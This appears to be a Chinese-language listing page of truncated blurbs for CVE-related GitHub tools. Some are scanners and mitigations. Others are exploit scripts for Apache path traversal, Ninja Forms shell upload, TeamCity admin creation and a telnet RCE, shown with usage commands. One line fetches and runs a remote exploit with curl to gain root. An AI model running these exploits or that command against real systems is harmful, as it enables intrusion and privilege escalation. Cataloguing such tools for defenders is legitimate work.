cve-2026-31431-check

cve-2026-31431-check cve-2026-31431-check 是一个小型 Bash 分流脚本，用于检查本地 Linux 系统针对 CVE-2026-31431（又称“Copy Fail”）的暴露与缓解指标。 该脚本针对 Debian、Ubuntu 及 Debian 系衍生发行版 （包括 Linux Mint、Pop!OS 以及类似的 dpkg/APT 系统）。在非 Debian 系主机或缺少 dpkg-query 时，脚本以退出码 3 结束。它不单独依赖内核版本判断，因为厂商补丁移植（backports）和缓解包可能使仅凭版本的检查产生误导。 在容器、chroot ...

portscan-CVE-2026-41940

portscan-CVE-2026-41940 IP CIDR（可能作为输入，通过命令行或文件提供）并检查端口 2083 和 2087 是否开放 portscan-CVE-2026-41940 IP CIDR（可能作为输入，通过命令行或文件提供）并检查端口 2083 和 2087 是否开放 CIDR 端口扫描器（2083 和 2087） 一个轻量级、多线程的 Python 脚本，用于 CVE-2026-41940，可扫描一个或多个 CIDR 范围，检查 TCP 端口 2083 （cPanel SSL）和 2087 （cPanel SSL for...

testanull-CVE-2021-28482.py

此存储库没有 README。...

testanull-CVE-2021-22005.py

此存储库没有 README。...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 一些用法： root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2021-30853

CVE-2021-30853 一个用于测试影响 MacOS 的 CVE-2021-30657 的简单 POC 脚本。 该 CVE 允许绕过 gatekeeper、notarization 和 xprotect 检查。 漏洞详情 当你在可执行 bundle 的主脚本第一行（shebang）中未定义解释器（或指定一个本身是 shell 脚本的解释器）时，就会出现此漏洞。这将导致 xpcproxy 调用 posixspawnp 来启动无解释器的基于脚本的应用程序。这最初会报错（无解释器 → ENOEXEC），但随后 posixspawnp 会“恢复”并（重新）执行该脚本……这次直接通过...

cve-2021-44228-waf-tests

简单的 bash 脚本，用于测试你的 WAF 或其他设备对 Log4Shell 攻击字符串及各种绕过方式的防护能力 绕过技巧来自：https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words 运行方式： root@kitploit: ./cve-2021-44228.sh -t -c 或者使用默认值 https://127.0.0.1 和 403： root@kitploit: ./cve-2021-44228.sh 对于每个测试字符串，脚本会通过多种向量将其传入对目标的请求中，例如： 请求头：使用 User-Agen...

CVE-2022-24834-

CVE-2022-24834 python exploit.py -url -port...

CVE-2021-41773

CVE-2021-41773 Apache 2.4.49 路径遍历漏洞 https://ubuntu.com/security/CVE-2021-41773 受影响版本（时间：2021年10月6日 22:49） 使用方法 root@kitploit: IP python3 CVE-2021-41773.py -i 10.10.10.10 -s IP 列表 python3 CVE-2021-41773.py -l /home/ac1d/Documents/code/python/CVE-2021-41773/ips.txt -s 截图 检查 Apache 版本 user@server2:$...

CVE-2026-0740

ninja.py 一个针对 WordPress 站点 Ninja Forms 插件文件上传端点的实验性/工具脚本。它会依次向 list.txt 中的目标发送请求，并将成功的上传写入 shell.txt 文件。 要求 Python 3 requests（通常随 urllib3 一起安装） root@kitploit: pip install requests urllib3 文件结构 文件| 说明 ---|--- ninja.py| 主脚本。 list.txt| 目标 URL；每行一个 URL（http/https，可选端口）。空行将被忽略。 shell.txt|...

copy-fail-mitigate-no-reboot

copy-fail-mitigate Helper de mitigación mínima sin reinicio para Copy Fail / CVE-2026-31431. Este script desactiva la ruta vulnerable del módulo algifaead e intenta descargar el módulo inmediatamente. También realiza un intento de expulsión de la caché de páginas para /usr/bin/su. Esto es una...

CopyFail-Patcher

CVE-2026-31431 的修补脚本 此仓库提供了针对 CopyFail 漏洞的脚本，适用于 Debian/Ubuntu/RHEL/Fedora，未在其他发行版上测试，但无论如何... 只需按照以下步骤操作： root@kitploit: $ git clone https://github.com/mhdgning131/CopyFail-Patcher.git $ cd CopyFail-Patcher $ chmod +x patchcopyfail.sh $ ./patchcopyfail.sh 同时提供了一个移除脚本，以便你在需要时移除补丁（我猜是为了测试） 骗你的！...

log4jhound

log4jhound 用于检测项目和系统中 Log4j 出现的 Bash 脚本：解压 JAR 文件并分析其 Manifest 文件，在源代码中进行文本搜索。 用法：./log4jhound.sh rootdirectory...

CVE-2021-42013

CVE-2021-42013 描述 该脚本利用 CVE-2021-42013 漏洞来读取文件或执行命令。 该脚本适用于： Nmap Python Ruby 环境要求 Python python3 python3 标准库 Ruby Ruby Ruby 标准库 安装 root@kitploit: git clone https://github.com/mauricelambert/CVE-2021-42013.git cd CVE-2021-42013 Python pip install -r requirements.txt 用法 root@kitploit: Python pytho...

CVE-2021-41773

CVE-2021-41773 描述 此脚本利用 CVE-2021-41773 来读取文件或/并执行命令。 此脚本适用于： Nmap Python Ruby 要求 Python python3 python3 标准库 Ruby Ruby Ruby 标准库 安装 root@kitploit: git clone https://github.com/mauricelambert/CVE-2021-41773.git cd CVE-2021-41773 Python pip install -r requirements.txt 用法 root@kitploit: Python python3...

ProxyShell-CVE-2021-34473.py

ProxyShell-CVE-2021-34473 一个用于检测 ProxyShell 的简单脚本...

telnet-CVE-2026-24061

https://github.com/SafeBreach-Labs/CVE-2026-24061/blob/main/telnetrce.py 需要理解代码 2. 构建无需 input 即可运行的代码，直接使用 zmienna = '' 代码必须兼容所有设备，因此不能使用 os.system'polecenie' 之类的命令 3. 通过 simple-term-menu 添加 GUI...

KSK-ITDK-CVE-2026-21509-Mitigation

CVE-2026-21509-Mitigation 用于 CVE-2026-21509 检测与修复的 PowerShell 脚本...

Search-log4Jvuln-AppScanSTD

使用 AppScan Standard 和网站列表搜索 log4J 漏洞 此 Powershell 脚本针对网站列表（URLs.txt）运行 AppScan Standard 扫描，仅检查 Log4J（CVE-2021-44228）漏洞。 项目结构： 运行脚本后，它将读取 URLs.txt 中的每一行并开始扫描 Log4J（CVE-2021-44228）漏洞。 每次扫描完成后，它将在 Log4JResultAnalysis.txt 中写入结果。 每个扫描文件位于 Scan 文件夹中，您可以在 AppScan Standard 中打开它以查看有关漏洞的详细信息。...

CVE-2023-42793_POC

CVE-2023-42793 漏洞利用脚本 概述 该脚本旨在自动化 CVE-2023-42793 漏洞的利用过程。它针对特定服务（推测受此漏洞影响），尝试删除用户令牌、创建新的用户令牌，然后创建一个具有管理员权限的新用户。 环境要求 Python 3 依赖库：requests、random、argparse、xml.etree.ElementTree 安装 1. 确保系统已安装 Python 3。 2. 安装所需的 Python 依赖库： root@kitploit: pip install requests 使用方法 该脚本可针对单个 URL 或 URL 列表执行。 1. 单 URL ...